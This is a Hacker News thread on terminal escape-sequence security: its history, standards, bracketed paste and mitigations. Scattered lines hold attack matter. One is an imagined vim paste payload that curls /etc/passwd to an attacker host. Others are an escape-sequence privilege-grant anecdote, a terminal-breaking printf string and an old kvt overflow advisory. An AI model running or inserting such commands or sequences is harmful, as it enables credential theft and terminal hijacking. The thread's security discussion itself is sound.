In theory, `reset`/`tset` from ncurses, or an equivalent, is this "thing" that programs are supposed to be using when they need to engage in terminal shenanigans. Those use TERM/TERMCAP environment variables and some educated guessing reading stdin/stdout/stderr behaviour to figure out what terminal you're using, search for said entry in terminfo/termcap database, and finally invoking native terminal behavior or simulating it with other terminal behavior. In theory, one could "just implement" an alternative terminal, and put said simplified entries in terminfo/termcap database and things will be all fine. In practice several of those ANSI escape code behaviors are hard-coded and everyone pretends everything is "at least as capable as xterm" (a oxymoron, given that xterm is one of the most capable and feature-rich terminals around), so you're also gonna have to implement a converter from "xterm ANSI" to your alternative terminal system - sort of how winpty does convert Win32 terminals conventions to ANSI ones. Then we're back to the starting issue in this converter.
- andrewla 3y ago
  Yes, this is one of the avenues that I've chased down a bit. One problem is termcap/terminfo itself. The definition has expanded greatly over time, and documentation is poor to non-existent. In many cases termcap/terminfo has been implicitly extended to support ncurses specifically. And like you say, everyone just sort of assumes ANSI/xterm -- nobody has `PS1="$(tput setaf 3)\w $(tput setaf 0) $", you just hard-code the codes. The last time I chased the rabbit down this hole I got mired in TTY-land and was not able to dig myself out. Too many insane layers, and before you know it you're writing code to emulate serial connections in a vain attempt to make things work without burning the whole world down. Both (n)vim and tmux have internal TTY emulation as well which makes things even crazier; I think vim uses libvterm and tmux has one internally hand-coded. It's a mess.
  - db48x 3y ago
    tmux, screen, emacs, and vim all have terminal emulators in them because it’s required, not because they’re crazy. Consider a really simple case. You are using screen (or tmux, or emacs, or whatever) and you have your terminal divided in half so that you can use a program in one half and tail a log file in the other. The program sends a ^L to clear the screen. Screen (or tmux or whatever) must read the ^L and then _not_ send it on. If it sent it on, the whole screen would be cleared, not just the half with the program in it. Instead it has to send whatever control sequences would erase the text from just the right portion of the screen while leaving everything else alone. Virtually everything sent by the program(s) has to be intercepted and reinterpreted in order for it to work right.
IshKebab 3y ago
Yes, the terminal is an embarrassment. It's telling that Sixel is state-of-the-art. A format from the 80s designed to support dot matrix printers.
- dgl 3y ago
  Sixel isn't state of the art, see https://sw.kovidgoyal.net/kitty/graphics-protocol/ https://sw.kovidgoyal.net/kitty/graphics-protocol/
  - deleted 3y ago
    [deleted]
  - IshKebab 3y ago
    I'm aware of that, but it's supported by a total of 4 terminals.
blueflow 3y ago
> and the overloading of ESC for the actual ESC key What else was the ESC key made for if not the control code? > I've thought for a while that I should implement an extremely reduced set of escape sequences which use a non-ESC character (maybe SOH or something) for control sequences and key encoding. A minimal set -- color / cursor position / save-screen / query-size -- whatever it takes to make vim/emacs + tmux/screen work, and call it a day. I did that as a 8086 boot sector and it would render tmux with unicode characters stripped. You need surprisingly few sequences.
- silon42 3y ago
  On a modern PC, Esc key is Esc key... whatever the application wants to use it for (99% time, cancel some UI operation). To me it's insane that one of the most used key command has a 1 second delay in the terminal. Or that typically Esc + some function/arrow key results in some junk.
  - blueflow 3y ago
    If you type in junk into the keyboard, junk is what you get on the screen. I see the fault with the developers that overload the keys for existing control characters with a different meaning. > whatever the application wants to use it for With the application being a terminal emulator, that is emitting an ESC character.
  - bityard 3y ago
    > one of the most used key command Found the vim user! The vast, _vast_ majority of Unix command-line or text-based programs do not use the Esc key because they were not written with a particular terminal or keyboard layout in mind. (Unlike vim.) But for whatever it's worth, I use vim every day and I notice no 1 second delay when switching modes with the Esc key, so perhaps this is something you can configure in your terminal.
    - mfontani 3y ago
      Ctrl + [ instead of Esc gets one back into normal mode, with no delay Takes a while getting used to it (I still haven't)
bityard 3y ago
Hmm, which terminal? I remember catting binary files to the terminal used to hose things up pretty good, but any decent terminal emulator seems to have made that not a thing in recent years. I just did `cat /bin/*` in Konsole and it left me with a perfectly good prompt.
db48x 3y ago
> Even things like the use of ESC, and the overloading of ESC for the actual ESC key, for a signal for keycodes, and for the ALT/META key are crazy. It actually happened the other way around. The escape character was originally only there as an escape character at the start of a control sequence. It was added to the keyboard back in the teletype era specifically so that the operator could control the behavior of the device on the other end. And it was labeled “Alt Mode”! See <https://upload.wikimedia.org/wikipedia/commons/2/23/TTY33ASR.jpg https://upload.wikimedia.org/wikipedia/commons/2/23/TTY33ASR...>, though it is a little blurry.
jandrese 3y ago
Terminal behavior dates back to a time when everybody was just making stuff up because there were no established standards or even conventions. What standards we have are mostly just whatever the most popular or longest lived company did. Terminals are in a bad place because there was a whole lot of effort put towards compatibility instead of standardization. The same curse that email suffers under. So the "standards" end up hopelessly complex and also terribly vague because they're trying to support every dumb thing every single company did at the same time. And the worst part is that most all of those companies would cease to exist in short order afterward, so the system is chock full of bug-accurate support for long dead systems that literally nobody uses anymore.
- JdeBP 3y ago
  Well, yes and no. ECMA-48 is an established standard, and dates from 1976. The standards in use today have been around that long, long enough even that terminals that aren't ECMA-48 compatible are exceedingly rare nowadays. So it's really the reverse of what you state. There has been a lot of effort put into standardization, and compared to the 1960s we are highly uniform in the 21st century and widely adhere to an almost 50-year-old standard. It's not the long-dead systems that spoil this. As evidenced from the headlined article, it is the still active systems adding things like vendor-specific commands for setting titles and clipboards and colours and displaying images and whatnot that have introduced the complexity. A strictly ECMA-48 only emulator doesn't have even half of the problems mentioned in the headlined article, because the control sequences mentioned are extensions to the standard introduced by various GUI terminal emulator programs.
ComputerGuru 3y ago
If you use fish, that should never happen. (If it happens, we would consider it a bug.)
- dgl 3y ago
  (Author here.) Unsure how fish can fully protect from this, as if you run "cat" in fish, then it isn't between you and the terminal anymore? Or do you mean fish should do a reset before displaying each prompt? If I run the printf commands from the "flash.c" example in fish I end up with a messed up terminal.
  - ComputerGuru 3y ago
    fish maintains its own tty state and pushes/pops it each time control is returned to fish or fish shells out to another process.
    - dgl 3y ago
      That's still only best effort, for example it will depend on the terminal but it doesn't reset things like xterm's control keys send escape sequences property, so: printf "\e]4;1;?\a\e[>4;2m" In xterm+fish will result in a messed up shell which you can't escape from (as ^C to clear the input doesn't work anymore).
      - ComputerGuru 3y ago
        Correct, it only handles prevents the basic kind of borked that can be reset with `stty sane` or `stty reset`.
1vuio0pswjnm7 3y ago
"Every time my terminal blows up because I wrote some binary data and I have to run `reset` or `stty sane` I'm amazed that we let things get to this point." Rather than reset or stty sane, I use something like one of the following, based on what software is available, e.g., there is no reset on NetBSD echo w1b63|ired -n /dev/stdout echo 1b63|xxd -p -r echo -e '27\n99\n'|nc-data -g printf \\33c
JdeBP 3y ago
> Every time my terminal blows up because I wrote some binary data and I have to run `reset` or `stty sane` I'm amazed that we let things get to this point. Every time that your terminal emulator does this in response to binary data, wonder why your terminal emulator hasn't taken the very sensible route that was taken by the authors of mosh years ago, to simply not support alternative GL and GR character set switching, treating it as something whose time has passed given that we live in a UTF-8-to-the-terminal world nowadays.

ElectricalUnion 3y ago

I hate inline escape sequences, but I hate ioctl/SetConsoleTextAttribute even more. I also think that if someone (including, of course, the bumbling fool known as myself) ran something on my terminal I'm already toast even before the terminal misbehaves - because most sandboxes/mandatory access control systems are either a complete joke or disabled most of the time.

gsuuon 3y ago
You don't even need to run something untrusted, just compromised console output is enough (from server logs, for example they mention python -m http.server)
- ElectricalUnion 3y ago
  Yes, and it's "even better" that your average RCE because it's not running code on the potentially sandboxed server, but on the (statistically speaking not sandboxed) developer/admin machine with potentially privileged access to other machines and systems.

deleted 3y ago

[deleted]

ralferoo 3y ago

I remember being amused when I discovered that all the servers in our server room at uni had their terminals downgraded from adm-3e terminals to adm-3 ones (the one with dip-switches). This was because someone had discovered that you could use `write` to send a message to root if it'd been left logged in that contained the control codes to re-program a function key and then query the function key back. This had the unfortunate effect of allowing anyone to run arbitrary commands as root! The older consoles didn't support function keys, so couldn't be exploited this way.

DonHopkins 3y ago
I friend my mine wrote a "memoline" messaging system for the HP3000, and everybody used it with those "smart" HP terminals. I knew he had admin privs, and what the command to give me admin privs was, so I sent him a message that said something like: Hi, Frank! How much would I have to pay you to execute the command: % grant Don.Hopkins admin Followed by the HP escape sequences for [up][right][right][send rest of line as input][up]. So when he read the message, it entered the command and ran it with his admin privileges, granting me admin! Lesson: Don't print out raw escape sequences from untrusted messages! And don't design terminals with [send rest of line as input] commands.

DonHopkins 3y ago

I wrote a VT100 (+ Sun extensions) emulator in PostScript that had a magical "^_PostScript Code^]" escape sequence that let you download arbitrary PostScript code into the NeWS window server (which could do anything you want)! Also ^A would print out the stack, because why not? ;) https://donhopkins.com/home/code/term.ps.txt https://donhopkins.com/home/code/term.ps.txt It also supported the <ESC>#8 "fill screen with E" test sequence, just so it could pass VTTest, plus a few extra Sun and AAA sequences that my slave driving boss Hugh Daniel demanded (since he was from Ann Arbor). Yes, a company actually called "Wedge Computer, Inc." paid me to write it! There are also some subtleties about missing numeric arguments that VTTest checks. My SoftTTY emulator would detect syntax errors in escape sequences, which implied you were trying to test it with VTtest, so then it would change the cursor to the shape of a hand giving you the finger (shape-error-cursor), and flash it 20 times, to flip Hugh off for subjecting my terminal emulator to VTTest. https://en.wikipedia.org/wiki/Vttest https://en.wikipedia.org/wiki/Vttest /ps-string-prefix { /ps-string 256 string def /ps-string-len 0 def /termulate-char //termulate-ps-string def } def /termulate-ps-string { dup 27 eq { pop reset-termulator ps-string 0 ps-string-len getinterval cvx { exec } stopped pop } { ps-string ps-string-len 3 -1 roll put /ps-string-len ps-string-len 1 add def ps-string-len ps-string length eq { /ps-string ps-string-len dup add string ps-string 1 index copy pop def } if } ifelse } def I used it for writing a Lisp "Little Backwards Chainer" program that would download a tree of dirty knowledge base symbols into the server to define a corresponding tree of pop-up pie menus, so I could browse the Lisp data structures as pie menus to debug the program. https://donhopkins.com/home/archive/lisp/little-backwards-chainer.lisp https://donhopkins.com/home/archive/lisp/little-backwards-ch... ; Write dirty nodes to the NeWS server in PostScript, and mark them as ; clean. (defun sweep () (clean-tree '*KB*)) (defun clean-tree (node) (cond ((get node 'dirty) (send-node node) (putprop node nil 'dirty))) (cond ((null (node-alist node)) nil) (t (mapcar #'(lambda (link) (clean-tree (link-node link))) (node-alist node)) nil))) (defun send-node (node) (ps-make-node node (node-sexp node) (node-associated-atom node) (node-alist node))) ; Magic control characters the PostScript terminal emulator responds to. (setq StartPS "^_") ; Ctrl-_: begin trojan horse (setq EndPS "^]") ; Escape: end and execute trojan horse ; Write out a NeWS menu definition, with the right control characters to ; make the PostScript terminal program (SoftTTY) execute it. (defun ps-make-node (name sexp associated-atom alist) (msg "% Sending " name "...") (msg StartPS "userdict /" name " [" N) (msg " " (list 'Name= name) " {" (ncons name) " print}" N " " (list 'Sexp= sexp) " {" (ncons sexp) " print}" N " " (list 'Atom= (fact-name associated-atom)) " {" (ncons (fact-name associated-atom)) " print}" N) (mapcar #'(lambda (link) (msg " " link " /" (link-node link) " cvx" N)) alist) (msg "] /new DefaultMenu send put" N) (msg name " /Clockwise false put" N) (cond ((eq name '*KB*) (msg "/ClientMenu *KB* def" N))) ; kludge (msg EndPS N)) Hugh was the author of ColorToy and ColorTool, which lets you play with and change all the user interface colors (even to dynamic random procedural colors that changed every time it paints, which was the most fun, and useful for debugging drawing, incremental screen updating, and clipping bugs!) https://donhopkins.com/home/archive/NeWS/news-tape/utilities/colortool/colortool https://donhopkins.com/home/archive/NeWS/news-tape/utilities...

jacquesm 3y ago

Every single time you use inband signalling you will introduce security issues, compatibility issues and various other nasty bits. This is because you are now multiplexing two levels of 'privilege' on the same channel, and I'm not aware of any way in which you could do this with perfect security. The phone system of old suffered from this (which is why Phreaking was a thing in the first place), various radio based signalling systems had it, HTML has it and terminal streams have them too. It's unavoidable, so you may as well assume that these issues are there if you decide to use a protocol that doesn't cleanly separate data and control.

westurner 3y ago
nbformat .ipynb notebooks are JSON documents with distinctions between input and output cells, and with output MIME types. https://nbformat.readthedocs.io/en/latest/format_description.html#cell-types https://nbformat.readthedocs.io/en/latest/format_description... Jupyter-book docs > Code outputs > ANSI outputs: https://jupyterbook.org/en/stable/content/code-outputs.html#ansi-outputs https://jupyterbook.org/en/stable/content/code-outputs.html#... `less -R` is not the default. FWIW, textual (and urwid) does ANSII escape codes well: https://github.com/Textualize/textual https://github.com/Textualize/textual touch file$'\n'name find . -print0 | xargs -0
echoangle 3y ago
Isn’t it pretty easy to use inband signaling securely? For example you can have the „outer“ more privileged channel always add a prefix with the length of the following „inner“ message which can then be ignored/not parsed by the receiver. Or am I missing what you mean?
- chc4 3y ago
  That isn't in-band signaling, that's encapsulating one protocol in another.
  - nine_k 3y ago
    Then it is in-band signaling. Out-of-band signaling is using a different channel entirely, like a different pair of wires, or otherwise a different interface.

caeruleus 3y ago

Opening this site actually crashes my Yabai status bar widget on MacOS. What an unexpected and nice troll. Lol. It contains the raw byte of 0x1b (ESC) in the title (before [31m), which colors the following text red in the context of a terminal. The browser title is reported to Übersicht, which apparently fails to serialize it to proper JSON and thus crashes simple-bar with a JSON decode error, removing the overview of my spaces. Everything is back to normal once I change my browser tab.

ShinzonRemus 3y ago
It also crashes dwm (when using Firefox) :-(
- caeruleus 3y ago
  Yup, Firefox for me as well. Chromium-based browsers seem to sanitize the title. I'm frankly a bit surprised that at least Linux and MacOS allow control characters in window titles and wonder if there is any reason to do so. Imagine someone pwning your OS via an HTML tag.
- dogben 3y ago
  My Firefox+dwm combo works. The 0x1b on my status bar is shown as a Treble clef. Maybe it's a font thing?
dgl 3y ago
Glad to have helped.

mortallywounded 3y ago

I am waiting for a Vim exploit in a similar way.. I map insert mode jj and kk to escape to leave insert mode. Sometimes I paste text in insert mode and it's interpreted literally in Vim, so I am waiting for some exploit like modifying a clipboard to be like: > regular-text-is-herejj:! curl -F 'pw=@/etc/passwd' attacker.dev/upload.php

bqmjjx0kac 3y ago
I wonder if `:set paste` would mitigate this attack. This page would probably answer my question if I understood it: https://vimdoc.sourceforge.net/htmldoc/options.html#'paste' https://vimdoc.sourceforge.net/htmldoc/options.html#'paste' Edit: this does seem to imply that `jj` in insert mode would be disabled by enabling paste. > mapping in Insert mode and Command-line mode is disabled
- mortallywounded 3y ago
  I have a binding to toggle paste mode. It would prevent the attack, but it also disabled jj/kk insert mode bindings... I do try to use the toggle before pasting, but I'm human and often forget.
  - db48x 3y ago
    Bracketed paste mode!!!1! Seriously, it’s the only safe way to paste into a terminal. When you initiate a paste your terminal emulator sends a control sequence that tells the program that a paste is happening so that it won’t interpret any of it as anything but text to be inserted. It’s completely automatic. And your terminal emulator supports it! So does vim! It’s only be available in xterm for 21 or so years, so I guess it’s not _that_ surprising to find that people still don’t know about it.
    - dgl 3y ago
      (Author of the original paper here.) Bracketed paste mode is good and ideally it just works(tm) and therefore people don't need to know about it. It does just work in recent versions bash (readline) and Zsh. Unfortunately there is still poor handling of it in some terminals. I posted[1] yesterday on oss-security that ^C for example can be placed on the clipboard and may end bracketed paste mode in some circumstances. For xterm that can be mitigated by adding "ETX" to disallowedPasteControls[2]: disallowedPasteControls: BS,DEL,ENQ,EOT,ETX,ESC,NUL That still isn't enough (e.g. ^\ or ^Z can be used too in some contexts). Other terminals are looking at this currently (e.g. kitty[3]). I suspect there will be some other patches coming out. [1]: https://www.openwall.com/lists/oss-security/2023/10/20/2 https://www.openwall.com/lists/oss-security/2023/10/20/2 [2]: https://www.openwall.com/lists/oss-security/2023/10/20/4 https://www.openwall.com/lists/oss-security/2023/10/20/4 [3]: https://github.com/kovidgoyal/kitty/commit/defa2e29ac1eacd130fcffa300d9be8f6e76ddfc https://github.com/kovidgoyal/kitty/commit/defa2e29ac1eacd13...

DonHopkins 3y ago

NeWS had a terminal emulator "psterm" by David S H Rosenthal that could emulate any termcap entry: instead of emulating a particular set of escape sequences, it just parsed the termcap file and configured itself to emulate any termcap entry you wanted! https://donhopkins.com/home/archive/NeWS/news-tape/applications/psterm/tcap_parse.c https://donhopkins.com/home/archive/NeWS/news-tape/applicati... https://donhopkins.com/home/archive/NeWS/news-tape/applications/psterm/tcap_ops.c https://donhopkins.com/home/archive/NeWS/news-tape/applicati...

db48x 3y ago
Thanks, I hate it. Really, that has to be the most perverse, backwards thing I have ever heard of.
- DonHopkins 3y ago
  If that's the most perverse, backwards thing you have ever heard of, you should really get out more and read more code, because there's much worse stuff in production that you unwittingly using every day. Have you ever tried reading the source code of your X11 window manager, or the screen updating code in Gosling Emacs? (Not to single out the authors of NeWS: David Rosenthal, who also wrote the ICCCM, or James Gosling, who also wrote Java). https://donhopkins.medium.com/the-x-windows-disaster-128d398ebd47 https://donhopkins.medium.com/the-x-windows-disaster-128d398... >In summary, ICCCM is a technological disaster: a toxic waste dump of broken protocols, backward compatibility nightmares, complex nonsolutions to obsolete nonproblems, a twisted mass of scabs and scar tissue intended to cover up the moral and intellectual depravity of the industry’s standard naked emperor. https://news.ycombinator.com/item?id=22849522 https://news.ycombinator.com/item?id=22849522 >James Gosling's Emacs screen redisplay algorithm also used similar "dynamic programming techniques" to compute the minimal cost path through a cost matrix of string edit operations (the costs depended i.e. on the number of characters to draw, length of the escape codes to insert/delete lines/characters, padding for slow terminals, etc). https://donhopkins.com/home/archive/emacs/skull-and-crossbones.txt https://donhopkins.com/home/archive/emacs/skull-and-crossbon... /********************************************************\ * * * Ultra-hot screen management package * * * \********************************************************/ /***********************************************************-***** /-------------\ / \ / \ / \ | XXXX XXXX | | XXXX XXXX | | XXX XXX | \ X / --\ XXX /-- | | XXX | | | | | | | I I I I I I I | | I I I I I I | \ / -- -- \-------/ XXX XXX XXXXX XXXXX XXXXXXXXX XXXXXXXXXX XXXXX XXXXX XXXXXXX XXXXX XXXXX XXXXXXXXX XXXXXXXXXX XXXXX XXXXX XXX XXX ************** * BEWARE!! * ************** All ye who enter here: Most of the code in this module is twisted beyond belief! Tread carefully. If you think you understand it, You Don't, So Look Again. ****************************************************************/

hackernudes 3y ago

Related to mosh (mentioned in the article), something has been bouncing around my head a lot. Why don't terminal emulators already work the way mosh does, decoupling the terminal part and the rendering part? I assume it is possible to ingest a stream of terminal data much faster than rendering it (obviously keeping track of what is needed to render). Then the render loop can happen independently at a certain framerate, like a game engine. It is quite frustrating when a verbose 'cat' or 'find' slows my terminal emulator to a crawl drawing each line. (edit: it just occurred to me that maybe this would break scroll-back in the terminal emulator... hmm)

themk 3y ago
Many terminal emulators do do this.
dgl 3y ago
Some terminals can do tricks like this, some terminal authors care about performance, e.g. https://codeberg.org/dnkl/foot/src/branch/master/doc/benchmark.md https://codeberg.org/dnkl/foot/src/branch/master/doc/benchma... In general you're better off using a terminal that performs better, because extra buffering would be annoying the other way around in the usual throughput/latency tradeoff (you'd press ^C and then it would continue to display what's in its buffer to you, rather than reacting quickly). What mosh brings is decoupling the rendering across the network. A lot of the poor perceived performance over high-latency links happens because ssh puts your terminal into raw mode, so even if the line is being echoed back, that is going all the way to the remote system and back again. It's actually possible to fix line editing in ssh, without using something like mosh, see for example https://github.com/hyc/OpenSSH-LINEMODE https://github.com/hyc/OpenSSH-LINEMODE. It's a shame OpenSSH hasn't merged something like those (now quite old) patches.

gdavisson 3y ago

I (vaguely) remember playing games with terminal echoback on physical terminals back in the early-mid 1980s when I was in college. This was on a VAX/VMS system. Someone (I don't remember who did what here) discovered that they could get `SHOW SYSTEM` (roughly analogous to unix `ps` command) to display their name in reverse video by adding escape sequences to their process name. So a bunch of us started experimenting to see what else we could embed in there. Most of the terminals attached to the VAX were Zenith Z-19s, which mostly emulated DEC VT-52s but with some added features. One of those added features was an enablable 25th line (in addition to the regular 24x80 display) that functioned as a sort of status line. We found we could enable that, write something into it, then use the "transmit 25th line" escape sequence to send its contents back to the VAX. I remember having to work around limitations like it sending an escape sequence before the 25th line (which confused VMS), and I think it didn't send a carriage return at the end... or something like that. I don't think we ever got it to do anything terribly interesting, but it was fun to play with. And then IIRC a VMS update blocked control characters in the `SHOW SYSTEM` listing.

sargstuff 3y ago

Old school reasoning why memory 0 page for a process is by default read only? Python provided a more modern variation on the ansi escape sequence issues theme with multi-mapping UTF to single point ascii[0]. cue "more things change, more they stay the same" meme [0] : http://godatadriven.com/blog/handling-encoding-issues-with-unicode-normalisation-in-python/ http://godatadriven.com/blog/handling-encoding-issues-with-u...

wslh 3y ago

Great, but please include other vulnerabilities, including exploits, like mine in 1999 [1]: In the xterm there is a feature to change the title of the window. You can change the title of the window sending one of the escape codes of the xterm. (linux: man console_codes) By Example: ESC]2;This is my Xterm^G This escape code changes the xterm's title to "This is my Xterm" Obviously You can do the same using the kvt (Kde Virtual Terminal). But the kvt has a buffer overflow. If the size of the new title of the window is big enough then the kvt will do a core dump. This bug follows the "reverse exploit" line, if some program sends this escape code to the kvt. For Example, When someone connects to any ftp server and the server sends the Welcome Message, It will be easy to exploit this bug changing the Welcome Message (in the .message file) to one with this escape code and to cause a buffer overflow. Another example where someone can cause a buffer overflow in your machine is simply doing "cat hosts" where hosts may be a file that you received by mail containing the "change window escape code". This bug shows some of the kvt's security problems being exploited via a "reverse exploit" or a exploit sent directly to your terminal (if the attacker can write to your kvt) If this bug is exploited, then the attacker can obtain the privileges of the kvt's owner and execute some arbitrary code as this user. [I found after] This bug was reported to the kde team by Larry Granroth in January. (http://bugs.kde.org/db/33/332.html) The new kde's version doesn't have this bug in the kconsole Kvt was replaced totally by kconsole. But the RedHat 6.0 installed with KDE has this bug. [1] https://seclists.org/bugtraq/1999/Sep/432 https://seclists.org/bugtraq/1999/Sep/432 It it weird that I couldn't find it in Google but Bing with a simple query. Is Google Search Engine SaaS abandonware?

sargstuff 3y ago
Disable, filter out ansi escape sequence(s)?
- junon 3y ago
  I maintain `ansi-regex` on npm. Believe me when I say doing this with any amount of certainty is almost impossible.

butlerm 3y ago

Someone really ought to design a new text terminal protocol with a strict binary separation between data and control information and eliminate the regrettable scourge of escape sequences forever. Then using a command like "cat" to output a binary data to the screen would cause no unfortunate side effects under any conditions, a program would have to use a different interface to control the terminal, even to move the cursor from one place to another or to clear the screen. A proper terminal should not even process backspace characters unless they arrive via a control channel rather than the data channel, let alone process all sorts of other more dangerous control sequences.

JdeBP 3y ago
That was invented in 1986. It was called the VIO subsystem of OS/2, and was followed by the console paradigm of Windows NT.
- butlerm 3y ago
  Is there a network protocol that goes along with that? Something suitable for a text terminal? Not just a proprietary and more than likely underdocumented API?

audidude 3y ago

> VTE based terminals, Kitty and WezTerm are some of the few terminals that accept C1 controls by default, within UTF-8 encoded data. My recommendation would be to not use these terminals with untrusted data. It seems the author didn't look at the code because in VTE, bytes enter UTF-8 decoder first and therefore the parser is already dealing with 32-bit unichars.

dgl 3y ago
(Author here.) I agree the only correct way C1 controls can work is encoded within UTF-8 data, else nothing works. The context is escaping C0 control characters is simple, you look for a single byte and filter it as you need. C1 controls when not encoded as UTF-8 are also single byte characters and therefore easy to filter out. For multi-byte encodings, you need to correctly decode the encoding, then filter, this has synchronisation problems and is tricky[1] (particularly as a Unix byte stream doesn't tell you it's encoding, although you can assume if someone is trying to display it as text it is probably UTF-8 these days). I should probably expand on that recommendation more, there's a lot in the paper, but the crux of the issue is C1 controls are a legacy thing and serve no useful purpose anymore and as I've shown there are enough issues just dealing with C0 controls. If C1 controls are encoded as UTF-8 as is the only way they can work on a modern system, then they take up as many bytes as C0 controls (e.g. CSI is "\e[" or U+009B, which encoded as UTF-8 is 0xC2 0x9B) so they don't even save bytes on the wire. [1]: see https://www.openwall.com/lists/oss-security/2015/09/20/1 https://www.openwall.com/lists/oss-security/2015/09/20/1 and some replies to that.

spandextwins 3y ago

I use a pt200 or adm3a terminal, never ansi or vt100

dgl 3y ago

(Author here.) If there's any takeaway from this, while the worst part is the terminal bugs; I'd like people to be aware that any tool dealing with text (command lines, potentially even websites) should consider sanitizing control characters for defense in depth. I am amused that for example https://www.osnews.com/story/137552/31m-ansi-terminal-security-in-2023-and-finding-10-cves/ https://www.osnews.com/story/137552/31m-ansi-terminal-securi... has posted my article with the escape character in the title intact. This means that running: curl https://www.osnews.com/story/137552/31m-ansi-terminal-security-in-2023-and-finding-10-cves/ ...will turn your screen red because of the embedded "[31m". Obviously this is just harmless fun (would have been more fun to get iTerm2's "]1337;RequestAttention=fireworks", like my curl ip.wtf/moo does, but I couldn't really stick that in the title innocently), but an attacker might be able to find a way to social engineer someone into running "curl" or similar on what looks like a trustworthy site. edit: Hacker News also doesn't sanitize escape characters, so this very comment will turn your screen red: curl 'https://news.ycombinator.com/item?id=37963815'

mongol 3y ago
I don't think we should expect websites to sanitize escape characters. But tools such as curl perhaps should have (or already has?) some option to do it.
- Wicher 3y ago
  Or extension of the POSIX terminal control flags could result in gaining a mode, which the curls and tars of this world would use, to express to a terminal "ignore any terminal control code I write out; I don't actually mean it". But this would require coordination in POSIX, in the terminals, and in programs using the terminal :-/ But the advantage would be that then you'd be able to put your terminal into this safe mode by default. And the terminal can alert you when a program is writing out control codes that are being ignored, and then you can whitelist them and/or get those programs fixed to fence off their sections of "I'm going to output data from god-knows-where now" with this new terminal mode. It's not going to happen but we can dream ;-)
Wicher 3y ago

thunkalot 3y ago

Emacs's shell and eshell mode have the right idea: no terminal. Terminal emulators are a relic. Shells should back on to simpler modern toolkits, that separates UI from shell I/O. I'm aware of the irony of an Emacs user calling for the disuse of relic tools. :)

zzo38computer 3y ago

It is something that I had considered too. (For this reason, some of my shell scripts that involve curl (for sprunge and for icanhazip) have "| cat -v".) Ideally there should be some way to cancel responses (echoback), which would avoid some of the problems; I am not sure if this can be done. Another thing I had considered is to make a "universal escape sequence" which is recognized anywhere including in the middle of something else. There are other considerations, too. (I had considered writing a terminal emulator, and will have to consider this and other things.) (I had also considered operating system design, where the command-line interface would work differently than this anyways.)